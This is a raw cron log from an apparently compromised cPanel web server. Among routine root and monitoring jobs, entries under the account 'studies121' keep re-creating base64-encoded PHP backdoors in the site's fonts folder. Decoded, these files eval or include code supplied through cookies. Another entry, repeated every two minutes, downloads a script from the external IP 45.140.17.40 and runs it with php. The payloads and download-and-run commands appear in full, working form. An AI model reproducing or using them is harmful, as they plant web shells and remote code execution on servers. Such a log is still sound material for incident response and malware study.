Sep  1 19:05:01 ip-184-168-122-23 CROND[10289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:06:01 ip-184-168-122-23 CROND[10568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:06:01 ip-184-168-122-23 CROND[10571]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:06:01 ip-184-168-122-23 CROND[10569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:06:01 ip-184-168-122-23 CROND[10570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:06:01 ip-184-168-122-23 CROND[10572]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 19:07:01 ip-184-168-122-23 CROND[10711]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:07:01 ip-184-168-122-23 CROND[10714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:07:01 ip-184-168-122-23 CROND[10715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:07:01 ip-184-168-122-23 CROND[10713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:08:01 ip-184-168-122-23 CROND[10866]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 19:08:01 ip-184-168-122-23 CROND[10868]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:08:01 ip-184-168-122-23 CROND[10869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:08:01 ip-184-168-122-23 CROND[10870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:08:01 ip-184-168-122-23 CROND[10872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:09:01 ip-184-168-122-23 CROND[10955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:09:01 ip-184-168-122-23 CROND[10957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:09:01 ip-184-168-122-23 CROND[10959]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 19:09:01 ip-184-168-122-23 CROND[10961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:09:01 ip-184-168-122-23 CROND[10962]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:10:01 ip-184-168-122-23 CROND[11084]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 19:10:01 ip-184-168-122-23 CROND[11087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:10:01 ip-184-168-122-23 CROND[11091]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 19:10:01 ip-184-168-122-23 CROND[11090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:10:01 ip-184-168-122-23 CROND[11089]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 19:10:01 ip-184-168-122-23 CROND[11094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:10:01 ip-184-168-122-23 CROND[11093]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 19:10:01 ip-184-168-122-23 CROND[11097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:11:01 ip-184-168-122-23 CROND[11184]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:11:01 ip-184-168-122-23 CROND[11185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:11:01 ip-184-168-122-23 CROND[11186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:11:01 ip-184-168-122-23 CROND[11187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:12:01 ip-184-168-122-23 CROND[11289]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:12:01 ip-184-168-122-23 CROND[11291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:12:01 ip-184-168-122-23 CROND[11293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:12:01 ip-184-168-122-23 CROND[11294]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 19:12:01 ip-184-168-122-23 CROND[11292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:13:01 ip-184-168-122-23 CROND[11461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:13:01 ip-184-168-122-23 CROND[11460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:13:01 ip-184-168-122-23 CROND[11462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:13:01 ip-184-168-122-23 CROND[11463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:14:01 ip-184-168-122-23 CROND[11542]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:14:01 ip-184-168-122-23 CROND[11543]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 19:14:01 ip-184-168-122-23 CROND[11544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:14:01 ip-184-168-122-23 CROND[11545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:14:01 ip-184-168-122-23 CROND[11547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:15:01 ip-184-168-122-23 CROND[11627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:15:01 ip-184-168-122-23 CROND[11629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:15:01 ip-184-168-122-23 CROND[11633]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 19:15:01 ip-184-168-122-23 CROND[11630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:15:01 ip-184-168-122-23 CROND[11632]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 19:15:01 ip-184-168-122-23 CROND[11631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:16:01 ip-184-168-122-23 CROND[11740]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:16:01 ip-184-168-122-23 CROND[11742]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 19:16:01 ip-184-168-122-23 CROND[11743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:16:01 ip-184-168-122-23 CROND[11745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:16:01 ip-184-168-122-23 CROND[11746]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 19:16:01 ip-184-168-122-23 CROND[11744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:17:01 ip-184-168-122-23 CROND[11830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:17:01 ip-184-168-122-23 CROND[11832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:17:01 ip-184-168-122-23 CROND[11833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:17:01 ip-184-168-122-23 CROND[11835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
